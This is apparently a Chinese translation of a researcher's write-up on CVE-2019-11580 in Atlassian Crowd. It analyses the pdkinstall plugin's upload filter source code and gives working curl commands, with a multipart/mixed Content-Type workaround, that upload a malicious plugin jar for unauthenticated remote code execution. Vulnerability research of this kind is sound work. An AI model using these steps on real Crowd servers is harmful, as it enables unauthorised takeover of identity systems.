0x00:介绍
最近,当我正在进行侦察时,我遇到了一个Atlassian Crowd应用程序。如果您不熟悉Crowd,它是一个集中的身份管理应用程序,允许公司“从多个目录管理用户 - Active Directory,LDAP,OpenLDAP或Microsoft Azure AD - 并在一个位置控制应用程序身份验证权限”。 我发现安装在运行较旧版本,所以我使出谷歌,看看是否有其中的任何漏洞和我碰到这样的咨询:“pdkinstall开发插件错误启用(CVE-2019-11580)”。 Atlassian的描述:
“Crowd和Crowd数据中心在发布版本中错误地启用了pdkinstall开发插件。可以向Crowd或Crowd数据中心实例发送未经身份验证或经过身份验证的请求的攻击者可以利用此漏洞安装任意插件,从而允许在运行易受攻击版本的Crowd或Crowd数据中心的系统上执行远程代码。" 在搜索了一下之后,我找不到任何针对该漏洞的概念验证,因此我决定对其进行分析并尝试创建一个。 0x01:分析 我开始克隆插件的源代码,可以在这里找到。
https://bitbucket.org/atlassian/pdkinstall-plugin/src/master/
root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.
我们可以找到该plugin descriptor文件./main/resources/atlassian-plugin.xml。每个插件都需要一个plugin descriptor文件,该文件只包含“描述插件及其中包含的主机应用程序模块的XML” - Atlassian。 我们来看看它:
<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
<version>${project.version}</version>
<vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
<url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
location="before-decoration">
<url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>
<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>
我们可以看到com.atlassian.pdkinstall.PdkInstallFilter访问时调用了Java servlet类/admin/uploadplugin.action。由于我们通过任意插件安装知道漏洞是RCE,因此我们必须首先查看PdkInstallFilter servlet的源代码。 让我们将pdkinstall-plugin导入IntelliJ,这样我们就可以开始阅读源代码了。我们将从该doFilter()方法开始。 我们可以在这里看到,如果请求方法不是POST,它将退出并响应错误:
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post"))
{
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
return;
}
接下来,它确定请求是否包含多部分内容。多部分内容是一个单一的主体,包含一个或多个组合的不同数据集。如果它包含多部分内容,它将调用extractJar()方法来提取请求中发送的jar,否则它将调用该buildJarFromFiles()方法并尝试从请求中的数据构建插件jar文件。
// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
tmp = extractJar(req, res, tmp);
}
else
{
tmp = buildJarFromFiles(req);
}
现在,让我们将注意力转移到extractJar()
方法上。
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
// Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory);
// Parse the request
try {
List<FileItem> items = upload.parseRequest(req);
for (FileItem item : items)
{
if (item.getFieldName().startsWith("file_") && !item.isFormField())
{
tmp = File.createTempFile("plugindev-", item.getName());
tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
item.write(tmp);
}
}
} catch (FileUploadException e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
} catch (Exception e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
}
return tmp;
}
首先,它实例化一个新对象ServletFileUpload,然后调用该parseRequest()方法来解析HTTP请求。此方法处理multipart/form-data来自HTTP请求的流,并将FileItems列表设置为名为的变量items。 对于每个item(在FileItems列表中),如果字段名称以字段名称开头file_ 而不是表单字段(HTML字段),它将创建并写入正在上载到磁盘上的临时文件的文件。如果失败,变量tmp 将为null; 如果成功,变量tmp将包含写入文件的路径。这将返回到main doFilter()方法。
if (tmp != null)
{
List<String> errors = new ArrayList<String>();
try
{
errors.addAll(pluginInstaller.install(tmp));
}
catch (Exception ex)
{
log.error(ex);
errors.add(ex.getMessage());
}
tmp.delete();
if (errors.isEmpty())
{
res.setStatus(HttpServletResponse.SC_OK);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
}
else
{
res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Unable to install plugin:");
for (String err : errors)
{
servletResponse.getWriter().println("\t - " + err);
}
}
servletResponse.getWriter().close();
return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
如果extractJar()成功,则tmp变量将被设置且不等于null。应用程序将尝试使用该pluginInstaller.install()方法安装插件,并将捕获该过程中的任何错误。如果没有错误,服务器将以200 OK响应,并显示插件已成功安装的消息。否则,服务器将响应“400 Bad Request”并显示消息“Unable to install plugin”,以及导致安装失败的错误。 但是,如果初始extractJar()方法失败,则tmp变量将设置为null,服务器将响应“400 Bad Request”以及消息“Missing plugin file”。 现在我们知道了servlet端点以及它所期望的那种请求,让我们试着利用它! 0x02:尝试 让我们使用Atlassian SDK启动一个实例。 现在让我们确保我们可以通过访问来调用pdkinstall插件http://localhost:4990/crowd/admin/uploadplugin.action。 服务器应该响应400 Bad Request:
让我们尝试利用我们迄今为止的知识上传标准插件。我选择使用atlassian-bundled-plugins中的applinks-plugin来尝试这个。您可以从此处获取已编译的jar文件。 以下是我们所知道的:servlet需要一个包含多部分数据的POST请求,其中包含以名称开头的文件file_。我们可以使用cURL的--form标志轻松完成此操作
root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" http://localhost:4990/crowd/admin/uploadplugin.action -v
从结果中我们可以看出,它成功安装了插件; 所以我们应该能够创建和安装我们自己的插件,对吗? 我创建了一个恶意插件,可以在这里找到
https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell
所以让我们编译它并尝试上传它。
root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v
我们可以看到它失败了400 Bad Request,并且响应包含错误消息"Missing plugin file"。我们从早些时候就知道,如果tmp为null,服务器会使用这个确切的消息和状态代码进行响应,但是导致这种情况发生的原因是什么?我们附上一个调试器。
0x02:调试 我导入了pdkinstall-pluginIntelliJ,将调试器附加到Crowd实例,并打开了PdkInstallFilter.java我们知道处理上传的servlet。 我的第一个猜测是该ServletFileUpload.isMultipartContent(req)方法失败了,所以我在那里设置了一个断点。然后我尝试再次上传我的恶意插件,但是,我们可以看到它正常工作,服务器将其视为多部分内容:
那么它必定extractJar()是失败的。让我们调试这个方法并逐行设置断点,这样我们就可以找出它失败的地方。设置断点后,我再次尝试:
我们可以看到该upload.parseRequest(req)方法返回一个空数组。由于items变量为空,因此它会跳过for循环并返回tmp设置为null 的循环。 我花了很长时间试图弄清楚为什么会这样,我不确切知道它的根本原因,但我所关心的只是获得RCE。 如果我将Content-Typefrom multipart/form-data更改为不同的multipart编码会发生什么?我们来试试吧。 0x02:尝试2 这次我决定尝试使用Content-Type来上传我的恶意插件multipart/mixed。也许这会奏效吗?
curl -k -H "Content-Type: multipart/mixed" \
--form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action
它回复了一条消息,说明插件已安装
让我们看看我们是否可以实际调用恶意插件:
我们现在在Atlassian Crowd上有一个pre-auth远程代码执行!
本文源自:
https://www.corben.io/atlassian-crowd-rce/